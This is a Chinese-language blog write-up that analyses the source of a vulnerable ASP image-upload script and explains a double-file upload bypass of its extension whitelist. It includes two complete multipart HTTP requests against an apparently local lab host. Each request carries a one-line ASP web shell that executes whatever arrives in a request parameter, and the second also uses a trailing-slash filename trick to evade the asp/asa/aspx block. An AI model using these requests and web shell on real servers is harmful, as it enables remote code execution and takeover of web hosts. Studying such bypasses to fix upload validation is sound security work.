记一次简单的 ASP 双文件上传绕过
今天蜜罐之神来问我一个 asp 文件的问题,说是有上传点和源码,确定有漏洞,但是不知道怎么构造 Payload。刚好跟京东客服小姐姐退货完,就下载了源码,定位到上传功能的 ASP 文件中
代码关于上传的功能主要是在这部分中:
select case PhotoUrlID
case 1,2,3
fileExt=lcase(ofile.FileExt)
if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
EnableUpload=true
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种图片类型:jpg|gif|bmp|jpeg|png|"
FoundErr=true
end if
case else
fileExt=lcase(ofile.FileExt)
arrUpFileType=split(UpFileType,"|")
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true
end if
end select
strJS="<SCRIPT language=javascript>" & vbcrlf
if FoundErr<>true then
randomize
ranNum=int(900*rnd)+100
filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
ofile.SaveToFile Server.mappath(FileName) '保存文件
response.write "文件上传成功!文件大小为:" & cstr(round(oFileSize/1024)) & "K"
select case PhotoUrlID
case 1
strJS=strJS & "parent.document.form1.smallPhotoUrl.value='" & fileName & "';" & vbcrlf
strJS=strJS & "parent.document.form1.picyl.src='" & fileName & "';" & vbcrlf
strJS=strJS & "parent.document.form1.picyl.alt='图片已经上传或已经改变';" & vbcrlf
case 2
strJS=strJS & "parent.document.form1.zoomPhotoUrl.value='" & fileName & "';" & vbcrlf
case 3,4
strJS=strJS & "parent.document.form1." & trim(upload.form("inputname")) & ".value='" & fileName & "';" & vbcrlf
case else
strJS=strJS & "parent.document.form1." & trim(upload.form("inputname")) & ".value='" & fileName & "';" & vbcrlf
'strJS=strJS & "parent.document.form1.fileSize.value='" & cstr(round(oFileSize/1024/1024)) & "';" & vbcrlf
'strJS=strJS & "parent.document.form1.filetype.value='" & fileExt & "';" & vbcrlf
end select
else
strJS=strJS & "alert('" & msg & "');" & vbcrlf
strJS=strJS & "history.go(-1);" & vbcrlf
end if
strJS=strJS & "</script>" & vbcrlf
response.write strJS
set file=nothing
next
set upload=nothing
首先通过 PhotoUrlID 参数进行 select 操作,按照程序流程,首先来分析当 PhotoUrlID 为 1、2、3 时是什么情况
case 1,2,3
fileExt=lcase(ofile.FileExt)
if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
EnableUpload=true
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种图片类型:jpg|gif|bmp|jpeg|png|"
FoundErr=true
end if
首先获取上传文件的后缀名,并且将它转为小写,接着判断文件的小写后缀名是否是 jgp、gif、bmp、jpeg 或 png 如果是的话,则允许上传。如果不允许上传则令 FoundErr 为 true,这个变量在最后执行上传操作的时候如果不为 true 才能上传。
这个写法写得比较死,先看 case else 处
case else
fileExt=lcase(ofile.FileExt)
arrUpFileType=split(UpFileType,"|")
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true
end if
这部分代码中,首先将文件后缀名转为小写,接着将允许的文件名字符串转为一个数组用于遍历。在 for 循环中,如果文件的小写后缀名在刚刚的数组中,则 EnableUpload 变量为 true
同时如果文件的后缀名为 asp、asa 或 aspx 的话,则不允许上传,同上如果不允许上传则令 FoundErr 为 true。
以上就是文件类型的过滤代码,最后就是文件的上传操作
if FoundErr<>true then
randomize
ranNum=int(900*rnd)+100
filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
ofile.SaveToFile Server.mappath(FileName) '保存文件
/* 剩下的就是根据不同的 PhotoUrlID 做出不同的输出,就不分析了 */
文件的最终需要 FoundErr 不为 true,也就是说需要满足 EnableUpload 不为 false,找到控制 EnableUpload 变量的部分源码
/* 1 2 3 */
if fileEXT="jpg" or fileEXT="gif" or fileEXT="bmp" or fileEXT="jpeg" or fileEXT="png" then
EnableUpload=true
end if
/* else */
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
可以看到,第一部分程序只对文件后缀名进行判断,如果属于白名单的后缀名则赋值为 true;第二部分程序多了一种判断,程序后缀名不能为 asp、asa、aspx 这三个。很明显这样的判断存在一个漏洞,那就是如果我上传两个文件,第一个文件满足上传条件使 EnableUpload 为 true,而第二个文件为木马,程序使用的 EnableUpload 还是 true,就可以绕过白名单。
这两部分代码都存在双文件上传的漏洞,第一部分可以使用以下包进行上传。
POST /test/bachang/include_files/Upfile_Photo.asp HTTP/1.1
Host: 192.168.113.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224241241126477839471325931987
Content-Length: 720
Origin: http://192.168.113.131
Connection: close
Referer: http://192.168.113.131/test/bachang/include_files/upload_Photo.asp?PhotoUrlID=2
Cookie: ASPSESSIONIDQQATCRSD=JIDPCEODJOPEENAHGFNHEGGP
Upgrade-Insecure-Requests: 1
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.png"
Content-Type: application/octet-stream
<%
Class LandGrey
Private Sub Class_Initialize
execute (request("1234"))
End Sub
End Class
Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.asp"
Content-Type: application/octet-stream
<%
Class LandGrey
Private Sub Class_Initialize
execute (request("1234"))
End Sub
End Class
Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="Submit"
ÉÏ´«
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="PhotoUrlID"
2
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="inputname"
-----------------------------224241241126477839471325931987--
而第二部分就多了一个验证,如果文件后缀名为 asp、asa、aspx 则将 EnableUpload 改回 false
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
由于开发语言使用的是 asp,大部分作用于 windows 服务器,可以使用 windows 不允许的文件名绕过,比如 /
POST /test/bachang/include_files/Upfile_Photo.asp HTTP/1.1
Host: 192.168.113.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224241241126477839471325931987
Content-Length: 720
Origin: http://192.168.113.131
Connection: close
Referer: http://192.168.113.131/test/bachang/include_files/upload_Photo.asp?PhotoUrlID=2
Cookie: ASPSESSIONIDQQATCRSD=JIDPCEODJOPEENAHGFNHEGGP
Upgrade-Insecure-Requests: 1
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.png"
Content-Type: application/octet-stream
<%
Class LandGrey
Private Sub Class_Initialize
execute (request("1234"))
End Sub
End Class
Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="FileName"; filename="2-12.asp/"
Content-Type: application/octet-stream
<%
Class LandGrey
Private Sub Class_Initialize
execute (request("1234"))
End Sub
End Class
Set X = New LandGrey
%>
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="Submit"
ÉÏ´«
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="PhotoUrlID"
5
-----------------------------224241241126477839471325931987
Content-Disposition: form-data; name="inputname"
-----------------------------224241241126477839471325931987--